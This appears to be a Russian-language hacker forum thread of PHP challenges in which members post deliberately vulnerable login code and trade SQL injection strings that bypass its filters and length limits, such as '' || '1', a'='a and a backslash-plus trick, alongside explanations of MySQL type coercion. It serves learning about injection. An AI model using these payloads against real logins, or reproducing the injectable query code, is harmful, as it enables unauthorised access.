[PHP] ЗАДАНИЯ от Krist_ALL

Discussion in 'PHP' started by Krist_ALL, 20 Jun 2009.

  1. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    От мну

    Задание: Нужно попасть в админку, обойдите авторизацию
    Меджик_квотес=офф

    PHP:
    <?php
            $login 
    substr($_GET['login'],0,8);
            
    $password substr($_GET['password'],0,8);

            
    $login str_replace('#'''$login);
            
    $login str_replace("-"''$login);
            
    $login str_replace('*'''$login);

            
    $password str_replace('#'''$password);
            
    $password str_replace("-"''$password);
            
    $password str_replace('*'''$password);

            
    $login preg_replace("/and|or/i","fuck",$login);
            
    $password preg_replace("/and|or/i","fuck",$password);

            
    $query "select * from `admin` where login = '$login' and password = '$password'";

            
    $result mysql_query($query);

            if(
    mysql_num_rows($result) > 0)
            {
                
    //в админке
            
    }
            . . .
    ?>
     
  2. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Народ,ща я с мобилы,поэтому добавлять ваши задания/ответы не могу.

    Подумаю над разделением заданий на темы.

    В планах сделать 100 заданий) и сделать пдфку! 100 пхп заданий
     
    1 person likes this.
  3. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Code:
    ?=login=-1' or 1=1&password=1
     
  4. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    а ничего что

    Code:
    $login = preg_replace("/and|or/i","fuck",$login); 
    разве замена 'or' не произойдет?
     
  5. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Так ведь не прокатит :)

    PHP:
    $login preg_replace("/and|or/i","fuck",$login);
    Суть в том, чтобы обойтись без or
     
    1 person likes this.
  6. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    ну раз так, то OR заменим на ||
     
  7. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    geezer.code, ограничение на 8 символов. К тому же, DIAgen не обработал закрывающую логин кавычку
     
    2 people like this.
  8. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Хм, правда не знаю :) Почти на 100% уверен что метод отсекает "and password = '$password'" так как с ним замутить выборку, не зная пароля имхо нереально. Возможно, юзается неизвестный науке тип комментария? :)
     
  9. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Joker-jar 8 символов даже много
    Code:
    ?login=&password=' || '1
     
    _________________________
    3 people like this.
  10. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    ОМФГ точно, что то у меня с приоритетами логических операций глюк в голове вышел ))) Gifts, крут, не проверял правда, но на глаз оно.

    З.Ы. Я предполагал, что (...) or '1' мускуль скушает как истину, но что то упёрся я в этот login и все туда пытался подставлять :)
     
  11. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Отлично, это работает. Я сам виноват, нужно было учесть || . Усложняем задачу: добавляем фильтрацию | и ограничение на 6 символов :) (хотя конечно логин и пароль на 6 символов – бредово для реальных условий, ну да ладно)

    PHP:
    <?php
            $login 
    substr($_GET['login'],0,6);
            
    $password substr($_GET['password'],0,6);

            
    $login str_replace('#'''$login);
            
    $login str_replace("-"''$login);
            
    $login str_replace('*'''$login);
            
    $login str_replace('|'''$login);

            
    $password str_replace('#'''$password);
            
    $password str_replace("-"''$password);
            
    $password str_replace('*'''$password);
            
    $password str_replace('|'''$password);

            
    $login preg_replace("/and|or/i","fuck",$login);
            
    $password preg_replace("/and|or/i","fuck",$password);

            
    $query "select * from `admin` where login = '$login' and password = '$password'";

            
    $result mysql_query($query);

            if(
    mysql_num_rows($result) > 0)
            {
                
    //в админке
            
    }
            . . .
    ?>
    Задача та же - обойти авторизацию
     
    2 people like this.
  12. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    ElteRUS Эээ, в рот мне ноги, я не понимаю почему это работает, но, ведь, работает
    Code:
    ?login=\&password=%2B'
    Уточняю, выбирает из таблицы почти все записи +- 400 (из 40к) С другими таблицами и другими серверами мускуля - тоже самое, выбирает записи, но не все
     
    _________________________
    #152 Gifts, 3 Sep 2009
    Last edited: 3 Sep 2009
  13. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Хм, да это то, только своеобразно оформлено но сути не меняет, твой вариант даже круче ))
    Я рассчитывал на такое:

    Логин '='
    Пароль '='

    Либо так a'='a в логин и пароль. Давайте посмотрим на получившиеся запрос:

    PHP:
    select from `adminwhere login 'a'='a' and password 'a'='a'
    Такой запрос прокатит. Выполните у себя на локалхосте

    PHP:
    Select from mysql.user where user 'a'='a';
    Выведутся все записи таблицы. Ну тот факт, что mysql поддерживает прямое сравнение строк – известен. Но дальше круче )) Выполните такое

    PHP:
    Select from mysq.user where user 'aasdfsdf'='usu';
    И это прокатит. Хотя очевидно, что эти строки не равны.
    Твой пример из той же оперы

    Code:
    select * from `admin` where login = '[COLOR=Indigo]\' and password = [/COLOR]'%2B''

    Только здесь видно что кроме = может быть и +, а так же * - )))
     
    3 people like this.
  14. famnam

    famnam Elder - Старейшина

    Joined:
    13 Apr 2008
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    Объясните пожалуйста по зад.34.
    echo (int)((0.1+0.7) *10);

    почему выводит 7? и 8 если echo (int)(0.8*10)...
    каким образом сумма в скобках влияет на результат? ведь 0,1+0,7=0,8
    и при приведении к целому, д.б. просто откинуться дробная часть...
     
  15. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Подробное разъяснение случая с 'а'='б'='с' http://bugs.mysql.com/bug.php?id=39337
    это не баг,а преобразование типов.

    Фамнам, это непредсказуемо в некоторых случаях,зависит от платформы ,на которой исполняется пхп код.
     
  16. famnam

    famnam Elder - Старейшина

    Joined:
    13 Apr 2008
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    спасибо, Krist_ALL
     
  17. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    так еще бредовей с логинов и пассов юзеров подстроки 'and' и 'or' удалять )))
     
    1 person likes this.
  18. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Добавил еще 3 задания.
    //ОФТОП
    Завтра пойду в институт первый раз, волнуюсь) Поддержим Krist_ALLа!
     
    1 person likes this.
  19. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    38.
    PHP:
    <?php
    function ch($num,$str){
        
    $res=str_split($str);
        
    $i=0;
        while (
    $i count($num)){
        
    $cn=$num[$i]-1;
        
    $res[$cn]=strtoupper($res[$cn]);
        
    $i++;
        }
        return 
    implode("",$res);
    }
    ?>
     
    1 person likes this.
  20. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    39.
    Всё дело в динамической типизации PHP.